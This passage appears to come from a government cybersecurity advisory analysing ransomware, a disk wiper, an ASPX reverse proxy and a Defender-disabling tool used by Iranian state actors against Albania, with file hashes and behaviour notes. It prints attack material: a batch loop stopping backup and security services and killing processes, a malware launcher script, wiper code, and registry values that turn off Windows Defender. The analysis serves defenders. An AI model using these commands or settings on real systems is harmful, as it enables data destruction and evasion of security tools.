GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc @for %C in (%SrvLst%) do @net stop %C @set SrvLst= @set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad @for %C in (%PrcLst%) do @taskkill /f /im "%C.exe" @set PrcLst= @exit The syntax error consists of a missing backslash that separates system32 and cmd.exe , so the process is launched as system32cmd.exe which is an invalid command. The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note. The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files. Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit. Separately, the actor ran a batch script (win.bat below) to set a specific desktop background. File Details GoXml.exe File Size: 43.48 KB (44520 bytes) SHA256: f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 SHA1: 5d117d8ef075f3f8ed1d4edcc0771a2a0886a376 MD5: bbe983dba3bf319621b447618548b740 SSDeep: 768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX :RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1) File Type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows PE Header Timestamp: 2016-04-30 17:08:19 ImpHash: 5b2ce9270beea5915ec9adbcd0dbb070 Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC Cert #0 Issuer C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA Cert #0 SHA1 55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f win.bat (#1, run malware) File Size: 67 bytes SHA256: bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6 SHA1: 14b8c155e01f25e749a9726958606b242c8624b9 MD5: 1635e1acd72809479e21b0ac5497a79b SSDeep: 3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1) File Type: ASCII text, with no line terminators Contents: start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7 win.bat (#2, install desktop image) Filename: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 File Size: 765 bytes SHA256: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 SHA1: fce0db6e66d227d3b82d4564446ede0c0fd7598c MD5: 18e01dee14167c1cf8a58b6a648ee049 SSDeep: 12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV +Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1) File Type: DOS batch file text, ASCII text, with CRLF line terminators Contents: @echo off setlocal enabledelayedexpansion set "Wtime=!time:~0,2!" if "!Wtime!" leq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done if "!Wtime!" geq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done :done timeout /t 5 >nul start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True endlocal
goxml.jpg File Size: 1.2 MB (1259040 bytes) SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 SHA1:
683eaec2b3bb5436f00b2172e287dc95e2ff2266 MD5: 0738242a521bdfe1f3ecc173f1726aa1
SSDeep: 12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx
VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1) File Type: JPEG image
data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752,
bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF
image data, big-endian, direntries=13, height=1752, bps=0,
PhotometricIntepretation=CMYK, orientation=upper-left, width=2484],
progressive, precision 8, 2484×1752, components 4 Software: Adobe Photoshop
22.4 (Windows) Modify Date: 2022-07-13 20:45:20 Create Date: 2020-06-11
02:13:33 Metadata Date: 2022-07-13 20:45:20 Profile Date Time: 2000-07-26
05:41:53 Image Size: 2484×1752 File Size: 1.2 MB (1259040 bytes) SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 Disk Wiper
The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides
raw access to the hard drive for the purposes of wiping data. From the command
line the cl.exe file accepts the arguments: in un wp If executed with the in
command, the utility will output in start! and installs a hard coded file
named rwdsk.sys as a service named RawDisk3 . The .SYS file is not extracted
from the installer however, but rather the installer looks for the file in the
same directory that the cl.exe is executed in. It will also load the driver
after installation . The un command uninstalls the service, outputting the
message “un start!” to the terminal. The wp command will access the loaded
driver for raw disk access. The long hexadecimal string is hard coded in the
cl.exe binary. RawDisk3File = (void *)toOpenRawDisk3File( arg2_WideCharStr,
0xC0000000,
L”B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D”);
ptrRawDiskFile = RawDisk3File; if ( RawDisk3File ) { sizeDisk =
toGetDiskSize(RawDisk3File); terminal_out(“Total Bytez : %lld\n”, sizeDisk << 9); The wp command also takes an additional argument as a device path to place after \RawDisk3\ in the output string. It is uncertain what creates this path to a device as the driver tested did not. The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes. If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility. rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features."https://attack.mitre.org/software/S0364/ File Details cl.exe File Size 142.5 KB (145920 bytes) SHA256 e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 SHA1 f22a7ec80fbfdc4d8ed796119c76bfac01e0a908 MD5 7b71764236f244ae971742ee1bc6b098 SSDeep 3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PE Header Timestamp 2022-07-15 13:26:28 ImpHash 58d51c1152817ca3dec77f2eee52cbef rwdsk.sys File Size 38.84 KB (39776 bytes) SHA256 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6 SHA1 5e061701b14faf9adec9dd0b2423ff3cfc18764b MD5 8f6e7653807ebb57ecc549cef991d505 SSDeep 768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1) Filetype PE32+ executable (native) x86-64, for MS Windows PEtype Driver PE Header Timestamp 2016-03-18 14:44:54 ImpHash e233f2cdc91faafe1467d9e52f166213 Cert #0 Subject CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 Issuer CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 SHA1 382c18388fb326221dfd7a77ee874f9ba60e04bf Cert #1 Subject C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation Cert #1 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #1 SHA1 30632ea310114105969d0bda28fdce267104754f Cert #2 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #2 Issuer C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root Cert #2 SHA1 57534ccc33914c41f70e2cbb2103a1db18817d8b Cert #3 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #3 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #3 SHA1 495847a93187cfb8c71f840cb7b41497ad95c64f Additional Files Web Deployed Reverse Proxy Description ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation. public static string hair_school_bracket() { return Umbrella_admit_arctic.rebel_sadreporthospital("460F2830272A2F2266052928202F21661627252D27212368"); //Invalid Config Package. } public static string Visual_math_already() { return Umbrella_admit_arctic.rebel_sadreporthospital("5304057E0116001607"); //WV-RESET The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string. When run in context of an IIS web server connecting to the ASPX file will generate a 200 1.5 output. The hex string represents the following ASCII text: Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy. Sending a request to WV- RESET with a value will produce an OK response and call a function to shut down the proxy socket. The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries. File Details ClientBin.aspx File Size 55.24 KB (56561 bytes) SHA256 7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5 SHA1 e03edd9114e7a0138d1309034cad6b461ab0035b MD5 a9fa6cfdba41c57d8094545e9b56db36 SSDeep 768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1) Filetype HTML document text, ASCII text, with very long lines (56458) App_Web_bckwssht.dll File Size 41.0 KB (41984 bytes) SHA256 cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5 SHA1 49fd8de33aa0ea0c7432d62f1ddca832fab25325 MD5 e9b6ecbf0783fa9d6981bba76d949c94 SSDeep 384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1) Filetype PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows PEtype DLL PE Header Timestamp 2021-06-07 10:37:55 ImpHash dae02f32a21e03ce65412f6e56942daa Disable Defender Description disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation. Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions. The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe: The following Registry Keys were modified to disable Windows Defender: Set Registry Values (observed Win10 1709) HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection 0 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware 1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ StartupApproved\Run\SecurityHealth 03 00 00 00 5D 02 00 00 41 3B 47 9D HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware 1 HKLM\System\CurrentControlSet\Services\WinDefend\Start 3 HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring 1 Upon completion and if successful the application will display the following messages and wait for user input. disable- defender.exe File Size 292.0 KB (299008 bytes) SHA256 45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace SHA1 e866cc6b1507f21f688ecc2ef15a64e413743da7 MD5 60afb1e62ac61424a542b8c7b4d2cf01 SSDeep 6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PEtype EXE PE Header Timestamp 2021-10-24 15:07:32 ImpHash 74a6ef9e7b49c71341e439022f643c8e Revisions September 21, 2022: Initial Version September 22, 2022: Reordered items in the Mitigation Section September 23, 2022: Add the STIX file This product is provided subject to this Notification and this Privacy & Use policy. September 21 2022 12:00:00 AA22-264A: Iranian State Actors Conduct Cyber Operations Against the Government of Albania

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